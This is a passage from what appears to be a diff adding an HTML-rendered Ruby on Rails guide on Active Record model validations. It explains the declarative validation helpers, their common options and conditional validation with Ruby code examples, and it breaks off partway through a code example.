+<div class="para"><p>There are several ways to validate the data that goes to the database, like using database native constraints, implementing validations only at the client side or implementing them directly into your models. Each one has pros and cons:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Using database constraints and/or stored procedures makes the validation mechanisms database-dependent and may turn your application into a hard to test and mantain beast. However, if your database is used by other applications, it may be a good idea to use some constraints also at the database level.
+</p>
+</li>
+<li>
+<p>
+Implementing validations only at the client side can be problematic, specially with web-based applications. Usually this kind of validation is done using javascript, which may be turned off in the user's browser, leading to invalid data getting inside your database. However, if combined with server side validation, client side validation may be useful, since the user can have a faster feedback from the application when trying to save invalid data.
+</p>
+</li>
+<li>
+<p>
+Using validation directly into your Active Record classes ensures that only valid data gets recorded, while still keeping the validation code in the right place, avoiding breaking the MVC pattern. Since the validation happens on the server side, the user cannot disable it, so it's also safer. It may be a hard and tedious work to implement some of the logic involved in your models' validations, but fear not: Active Record gives you the hability to easily create validations, using several built-in helpers while still allowing you to create your own validation methods.
+</p>
+</li>
+</ul></div>
+</div>
+<h2 id="_how_it_works">2. How it works</h2>
+<div class="sectionbody">
+<h3 id="_when_does_validation_happens">2.1. When does validation happens?</h3>
+<div class="para"><p>There are two kinds of Active Record objects: those that correspond to a row inside your database and those who do not. When you create a fresh object, using the <tt>new</tt> method, that object does not belong to the database yet. Once you call <tt>save</tt> upon that object it'll be recorded to it's table. Active Record uses the <tt>new_record?</tt> instance method to discover if an object is already in the database or not. Consider the following simple and very creative Active Record class:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Person <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>We can see how it works by looking at the following script/console output:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>&gt;&gt; p = Person.new(:name =&gt; "John Doe", :birthdate =&gt; Date.parse("09/03/1979"))
+=&gt; #&lt;Person id: nil, name: "John Doe", birthdate: "1979-09-03", created_at: nil, updated_at: nil&gt;
+&gt;&gt; p.new_record?
+=&gt; true
+&gt;&gt; p.save
+=&gt; true
+&gt;&gt; p.new_record?
+=&gt; false</tt></pre>
+</div></div>
+<div class="para"><p>Saving new records means sending an SQL insert operation to the database, while saving existing records (by calling either <tt>save</tt>, <tt>update_attribute</tt> or <tt>update_attributes</tt>) will result in a SQL update operation. Active Record will use this facts to perform validations upon your objects, avoiding then to be recorded to the database if their inner state is invalid in some way. You can specify validations that will be beformed every time a object is saved, just when you're creating a new record or when you're updating an existing one.</p></div>
+<h3 id="_the_meaning_of_em_valid_em">2.2. The meaning of <em>valid</em></h3>
+<div class="para"><p>For verifying if an object is valid, Active Record uses the <tt>valid?</tt> method, which basically looks inside the object to see if it has any validation errors. These errors live in a collection that can be accessed through the <tt>errors</tt> instance method. The proccess is really simple: If the <tt>errors</tt> method returns an empty collection, the object is valid and can be saved. Each time a validation fails, an error message is added to the <tt>errors</tt> collection.</p></div>
+</div>
+<h2 id="_the_declarative_validation_helpers">3. The declarative validation helpers</h2>
+<div class="sectionbody">
+<div class="para"><p>Active Record offers many pre-defined validation helpers that you can use directly inside your class definitions. These helpers create validations rules that are commonly used in most of the applications that you'll write, so you don't need to recreate it everytime, avoiding code duplication, keeping everything organized and boosting your productivity. Everytime a validation fails, an error message is added to the object's <tt>errors</tt> collection, this message being associated with the field being validated.</p></div>
+<div class="para"><p>Each helper accepts an arbitrary number of attributes, received as symbols, so with a single line of code you can add the same kind of validation to several attributes.</p></div>
+<div class="para"><p>All these helpers accept the <tt>:on</tt> and <tt>:message</tt> options, which define when the validation should be applied and what message should be added to the <tt>errors</tt> collection when it fails, respectively. The <tt>:on</tt> option takes one the values <tt>:save</tt> (it's the default), <tt>:create</tt>  or <tt>:update</tt>. There is a default error message for each one of the validation helpers. These messages are used when the <tt>:message</tt> option isn't used. Let's take a look at each one of the available helpers, listed in alphabetic order.</p></div>
+<h3 id="_the_tt_validates_acceptance_of_tt_helper">3.1. The <tt>validates_acceptance_of</tt> helper</h3>
+<div class="para"><p>Validates that a checkbox has been checked for agreement purposes. It's normally used when the user needs to agree with your application's terms of service, confirm reading some clauses or any similar concept. This validation is very specific to web applications and actually this <em>acceptance</em> does not need to be recorded anywhere in your database (if you don't have a field for it, the helper will just create a virtual attribute).</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Person <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  validates_acceptance_of <span style="color: #990000">:</span>terms_of_service
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>The default error message for <tt>validates_acceptance_of</tt> is "<em>must be accepted</em>"</p></div>
+<div class="para"><p><tt>validates_acceptance_of</tt> can receive an <tt>:accept</tt> option, which determines the value that will be considered acceptance. It defaults to "1", but you can change it.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Person <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  validates_acceptance_of <span style="color: #990000">:</span>terms_of_service<span style="color: #990000">,</span> <span style="color: #990000">:</span>accept <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'yes'</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<h3 id="_the_tt_validates_associated_tt_helper">3.2. The <tt>validates_associated</tt> helper</h3>
+<div class="para"><p>You should use this helper when your model has associations with other models and they also need to be validated. When you try to save your object, <tt>valid?</tt> will be called upon each one of the associated objects.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Library <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  has_many <span style="color: #990000">:</span>books
+  validates_associated <span style="color: #990000">:</span>books
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>This validation will work with all the association types.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/caution.png" alt="Caution" />
+</td>
+<td class="content">Pay attention not to use <tt>validates_associated</tt> on both ends of your associations, because this will lead to several recursive calls and blow up the method calls' stack.</td>
+</tr></table>
+</div>
+<div class="para"><p>The default error message for <tt>validates_associated</tt> is "<em>is invalid</em>". Note that the errors for each failed validation in the associated objects will be set there and not in this model.</p></div>
+<h3 id="_the_tt_validates_confirmation_of_tt_helper">3.3. The <tt>validates_confirmation_of</tt> helper</h3>
+<div class="para"><p>You should use this helper when you have two text fields that should receive exactly the same content, like when you want to confirm an email address or password. This validation creates a virtual attribute, using the name of the field that has to be confirmed with <em>_confirmation</em> appended.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Person <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  validates_confirmation_of <span style="color: #990000">:</span>email
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>In your view template you could use something like</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>&lt;%= text_field :person, :email %&gt;
+&lt;%= text_field :person, :email_confirmation %&gt;</tt></pre>
+</div></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/note.png" alt="Note" />
+</td>
+<td class="content">This check is performed only if <tt>email_confirmation</tt> is not nil, and by default only on save. To require confirmation, make sure to add a presence check for the confirmation attribute (we'll take a look at <tt>validates_presence_of</tt> later on this guide):</td>
+</tr></table>
+</div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Person <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  validates_confirmation_of <span style="color: #990000">:</span>email
+  validates_presence_of <span style="color: #990000">:</span>email_confirmation
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>The default error message for <tt>validates_confirmation_of</tt> is "<em>doesn't match confirmation</em>"</p></div>
+<h3 id="_the_tt_validates_each_tt_helper">3.4. The <tt>validates_each</tt> helper</h3>
+<div class="para"><p>This helper validates attributes against a block. It doesn't have a predefined validation function. You should create one using a block, and every attribute passed to <tt>validates_each</tt> will be tested against it. In the following example, we don't want names and surnames to begin with lower case.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Person <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  validates_each <span style="color: #990000">:</span>name<span style="color: #990000">,</span> <span style="color: #990000">:</span>surname <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>model<span style="color: #990000">,</span> attr<span style="color: #990000">,</span> value<span style="color: #990000">|</span>
+    model<span style="color: #990000">.</span>errors<span style="color: #990000">.</span>add<span style="color: #990000">(</span>attr<span style="color: #990000">,</span> <span style="color: #FF0000">'Must start with upper case'</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> value <span style="color: #990000">=~</span> <span style="color: #FF6600">/^[a-z]/</span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>The block receives the model, the attribute's name and the attribute's value. If your validation fails, you can add an error message to the model, therefore making it invalid.</p></div>
+<h3 id="_the_tt_validates_exclusion_of_tt_helper">3.5. The <tt>validates_exclusion_of</tt> helper</h3>
+<div class="para"><p>This helper validates that the attributes' values are not included in a given set. In fact, this set can be any enumerable object.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> MovieFile <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  validates_exclusion_of <span style="color: #990000">:</span>format<span style="color: #990000">,</span> <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">in</span></span> <span style="color: #990000">=&gt;</span> <span style="color: #990000">%</span>w<span style="color: #990000">(</span>mov avi<span style="color: #990000">),</span> <span style="color: #990000">:</span>message <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Extension %s is not allowed"</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>The <tt>validates_exclusion_of</tt> helper has an option <tt>:in</tt> that receives the set of values that will not be accepted for the validated attributes. The <tt>:in</tt> option has an alias called <tt>:within</tt>  that you can use for the same purpose, if you'd like to. In the previous example we used the <tt>:message</tt> option to show how we can personalize it with the current attribute's value, through the <tt>%s</tt> format mask.</p></div>
+<div class="para"><p>The default error message for <tt>validates_exclusion_of</tt>  is "<em>is not included in the list</em>".</p></div>
+<h3 id="_the_tt_validates_format_of_tt_helper">3.6. The <tt>validates_format_of</tt> helper</h3>
+<div class="para"><p>This helper validates the attributes's values by testing if they match a given pattern. This pattern must be specified using a Ruby regular expression, which must be passed through the <tt>:with</tt> option.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Product <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  validates_format_of <span style="color: #990000">:</span>description<span style="color: #990000">,</span> <span style="color: #990000">:</span>with <span style="color: #990000">=&gt;</span> <span style="color: #FF6600">/^[a-zA-Z]+$/</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>message <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Only letters allowed"</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>The default error message for <tt>validates_format_of</tt> is "<em>is invalid</em>".</p></div>
+<h3 id="_the_tt_validates_inclusion_of_tt_helper">3.7. The <tt>validates_inclusion_of</tt> helper</h3>
+<div class="para"><p>This helper validates that the attributes' values are included in a given set. In fact, this set can be any enumerable object.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Coffee <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  validates_inclusion_of <span style="color: #990000">:</span>size<span style="color: #990000">,</span> <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">in</span></span> <span style="color: #990000">=&gt;</span> <span style="color: #990000">%</span>w<span style="color: #990000">(</span>small medium large<span style="color: #990000">),</span> <span style="color: #990000">:</span>message <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"%s is not a valid size"</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>The <tt>validates_inclusion_of</tt> helper has an option <tt>:in</tt> that receives the set of values that will be accepted. The <tt>:in</tt> option has an alias called <tt>:within</tt>  that you can use for the same purpose, if you'd like to. In the previous example we used the <tt>:message</tt> option to show how we can personalize it with the current attribute's value, through the <tt>%s</tt> format mask.</p></div>
+<div class="para"><p>The default error message for <tt>validates_inclusion_of</tt>  is "<em>is not included in the list</em>".</p></div>
+<h3 id="_the_tt_validates_length_of_tt_helper">3.8. The <tt>validates_length_of</tt> helper</h3>
+<div class="para"><p>This helper validates the length of your attribute's value. It can receive a variety of different options, so you can specify length contraints in different ways.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Person <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  validates_length_of <span style="color: #990000">:</span>name<span style="color: #990000">,</span> <span style="color: #990000">:</span>minimum <span style="color: #990000">=&gt;</span> <span style="color: #993399">2</span>
+  validates_length_of <span style="color: #990000">:</span>bio<span style="color: #990000">,</span> <span style="color: #990000">:</span>maximum <span style="color: #990000">=&gt;</span> <span style="color: #993399">500</span>
+  validates_length_of <span style="color: #990000">:</span>password<span style="color: #990000">,</span> <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">in</span></span> <span style="color: #990000">=&gt;</span> <span style="color: #993399">6</span><span style="color: #990000">..</span><span style="color: #993399">20</span>
+  validates_length_of <span style="color: #990000">:</span>registration_number<span style="color: #990000">,</span> <span style="color: #990000">:</span>is <span style="color: #990000">=&gt;</span> <span style="color: #993399">6</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>The possible length constraint options are:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<tt>:minimum</tt> - The attribute cannot have less than the specified length.
+</p>
+</li>
+<li>
+<p>
+<tt>:maximum</tt> - The attribute cannot have more than the specified length.
+</p>
+</li>
+<li>
+<p>
+<tt>:in</tt> (or <tt>:within</tt>) - The attribute length must be included in a given interval. The value for this option must be a Ruby range.
+</p>
+</li>
+<li>
+<p>
+<tt>:is</tt> - The attribute length must be equal to a given value.
+</p>
+</li>
+</ul></div>
+<div class="para"><p>The default error messages depend on the type of length validation being performed. You can personalize these messages, using the <tt>:wrong_length</tt>, <tt>:too_long</tt> and <tt>:too_short</tt> options and the <tt>%d</tt> format mask as a placeholder for the number corresponding to the length contraint being used. You can still use the <tt>:message</tt> option to specify an error message.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Person <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  validates_length_of <span style="color: #990000">:</span>bio<span style="color: #990000">,</span> <span style="color: #990000">:</span>too_long <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"you're writing too much. %d characters is the maximum allowed."</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>This helper has an alias called <tt>validates_size_of</tt>, it's the same helper with a different name. You can use it if you'd like to.</p></div>
+<h3 id="_the_tt_validates_numericallity_of_tt_helper">3.9. The <tt>validates_numericallity_of</tt> helper</h3>
+<div class="para"><p>This helper validates that your attributes have only numeric values. By default, it will match an optional sign followed by a integral or floating point number. Using the <tt>:integer_only</tt> option set to true, you can specify that only integral numbers are allowed.</p></div>
+<div class="para"><p>If you use <tt>:integer_only</tt> set to <tt>true</tt>, then it will use the <tt><span>/\A[+\-]?\d+\Z/</span></tt> regular expression to validate the attribute's value. Otherwise, it will try to convert the value using <tt>Kernel.Float</tt>.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Player <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  validates_numericallity_of <span style="color: #990000">:</span>points
+  validates_numericallity_of <span style="color: #990000">:</span>games_played<span style="color: #990000">,</span> <span style="color: #990000">:</span>integer_only <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>The default error message for <tt>validates_numericallity_of</tt> is "<em>is not a number</em>".</p></div>
+<h3 id="_the_tt_validates_presence_of_tt_helper">3.10. The <tt>validates_presence_of</tt> helper</h3>
+<div class="para"><p>This helper validates that the attributes are not empty. It uses the <tt>blank?</tt> method to check if the value is either <tt>nil</tt> or an empty string (if the string has only spaces, it will still be considered empty).</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Person <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  validates_presence_of <span style="color: #990000">:</span>name<span style="color: #990000">,</span> <span style="color: #990000">:</span>login<span style="color: #990000">,</span> <span style="color: #990000">:</span>email
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/note.png" alt="Note" />
+</td>
+<td class="content">If you want to be sure that an association is present, you'll need to test if the foreign key used to map the association is present, and not the associated object itself.</td>
+</tr></table>
+</div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> LineItem <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  belongs_to <span style="color: #990000">:</span>order
+  validates_presence_of <span style="color: #990000">:</span>order_id
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/note.png" alt="Note" />
+</td>
+<td class="content">If you want to validate the presence of a boolean field (where the real values are true and false), you will want to use validates_inclusion_of :field_name, :in &#8658; [true, false] This is due to the way Object#blank? handles boolean values. false.blank? # &#8658; true</td>
+</tr></table>
+</div>
+<div class="para"><p>The default error message for <tt>validates_presence_of</tt> is "<em>can't be empty</em>".</p></div>
+<h3 id="_the_tt_validates_uniqueness_of_tt_helper">3.11. The <tt>validates_uniqueness_of</tt> helper</h3>
+<div class="para"><p>This helper validates that the attribute's value is unique right before the object gets saved. It does not create a uniqueness constraint directly into your database, so it may happen that two different database connections create two records with the same value for a column that you wish were unique. To avoid that, you must create an unique index in your database.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Account <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  validates_uniqueness_of <span style="color: #990000">:</span>email
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>The validation happens by performing a SQL query into the model's table, searching for a record where the attribute that must be validated is equal to the value in the object being validated.</p></div>
+<div class="para"><p>There is a <tt>:scope</tt> option that you can use to specify other attributes that must be used to define uniqueness:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Holiday <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  validates_uniqueness_of <span style="color: #990000">:</span>name<span style="color: #990000">,</span> <span style="color: #990000">:</span>scope <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>year<span style="color: #990000">,</span> <span style="color: #990000">:</span>message <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Should happen once per year"</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>There is also a <tt>:case_sensitive</tt> option that you can use to define if the uniqueness contraint will be case sensitive or not. This option defaults to true.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Person <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  validates_uniqueness_of <span style="color: #990000">:</span>name<span style="color: #990000">,</span> <span style="color: #990000">:</span>case_sensitive <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">false</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>The default error message for <tt>validates_uniqueness_of</tt> is "<em>has already been taken</em>".</p></div>
+</div>
+<h2 id="_common_validation_options">4. Common validation options</h2>
+<div class="sectionbody">
+<div class="para"><p>There are some common options that all the validation helpers can use. Here they are, except for the <tt>:if</tt> and <tt>:unless</tt> options, which we'll cover right at the next topic.</p></div>
+<h3 id="_the_tt_allow_nil_tt_option">4.1. The <tt>:allow_nil</tt> option</h3>
+<div class="para"><p>You may use the <tt>:allow_nil</tt> option everytime you just want to trigger a validation if the value being validated is not <tt>nil</tt>. You may be asking yourself if it makes any sense to use <tt>:allow_nil</tt> and <tt>validates_presence_of</tt> together. Well, it does. Remember, validation will be skipped only for <tt>nil</tt> attributes, but empty strings are not considered <tt>nil</tt>.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Coffee <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  validates_inclusion_of <span style="color: #990000">:</span>size<span style="color: #990000">,</span> <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">in</span></span> <span style="color: #990000">=&gt;</span> <span style="color: #990000">%</span>w<span style="color: #990000">(</span>small medium large<span style="color: #990000">),</span>
+    <span style="color: #990000">:</span>message <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"%s is not a valid size"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>allow_nil <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<h3 id="_the_tt_message_tt_option">4.2. The <tt>:message</tt> option</h3>
+<div class="para"><p>As stated before, the <tt>:message</tt> option lets you specify the message that will be added to the <tt>errors</tt> collection when validation fails. When this option is not used, Active Record will use the respective default error message for each validation helper.</p></div>
+<h3 id="_the_tt_on_tt_option">4.3. The <tt>:on</tt> option</h3>
+<div class="para"><p>As stated before, the <tt>:on</tt> option lets you specify when the validation should happen. The default behaviour for all the built-in validation helpers is to be ran on save (both when you're creating a new record and when you're updating it). If you want to change it, you can use <tt>:on =<span>&gt;</span> :create</tt> to run the validation only when a new record is created or <tt>:on =<span>&gt;</span> :update</tt> to run the validation only when a record is updated.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Person <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  validates_uniqueness_of <span style="color: #990000">:</span>email<span style="color: #990000">,</span> <span style="color: #990000">:</span>on <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>create <span style="font-style: italic"><span style="color: #9A1900"># =&gt; it will be possible to update email with a duplicated value</span></span>
+  validates_numericallity_of <span style="color: #990000">:</span>age<span style="color: #990000">,</span> <span style="color: #990000">:</span>on <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>update <span style="font-style: italic"><span style="color: #9A1900"># =&gt; it will be possible to create the record with a 'non-numerical age'</span></span>
+  validates_presence_of <span style="color: #990000">:</span>name<span style="color: #990000">,</span> <span style="color: #990000">:</span>on <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>save <span style="font-style: italic"><span style="color: #9A1900"># =&gt; that's the default</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+</div>
+<h2 id="_conditional_validation">5. Conditional validation</h2>
+<div class="sectionbody">
+<div class="para"><p>Sometimes it will make sense to validate an object just when a given predicate is satisfied. You can do that by using the <tt>:if</tt> and <tt>:unless</tt> options, which can take a symbol, a string or a Ruby Proc. You may use the <tt>:if</tt> option when you want to specify when the validation <strong>should</strong> happen. If you want to specify when the validation <strong>should not</strong> happen, then you may use the <tt>:unless</tt> option.</p></div>
+<h3 id="_using_a_symbol_with_the_tt_if_tt_and_tt_unless_tt_options">5.1. Using a symbol with the <tt>:if</tt> and <tt>:unless</tt> options</h3>
+<div class="para"><p>You can associated the <tt>:if</tt> and <tt>:unless</tt> options with a symbol corresponding to the name of a method that will get called right before validation happens. This is the most commonly used option.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  validates_presence_of <span style="color: #990000">:</span>card_number<span style="color: #990000">,</span> <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>paid_with_card?
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> paid_with_card?
+    payment_type <span style="color: #990000">==</span> <span style="color: #FF0000">"card"</span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<h3 id="_using_a_string_with_the_tt_if_tt_and_tt_unless_tt_options">5.2. Using a string with the <tt>:if</tt> and <tt>:unless</tt> options</h3>
+<div class="para"><p>You can also use a string that will be evaluated using <tt>:eval</tt> and needs to contain valid Ruby code. You should use this option only when the string represents a really short condition.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Person <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
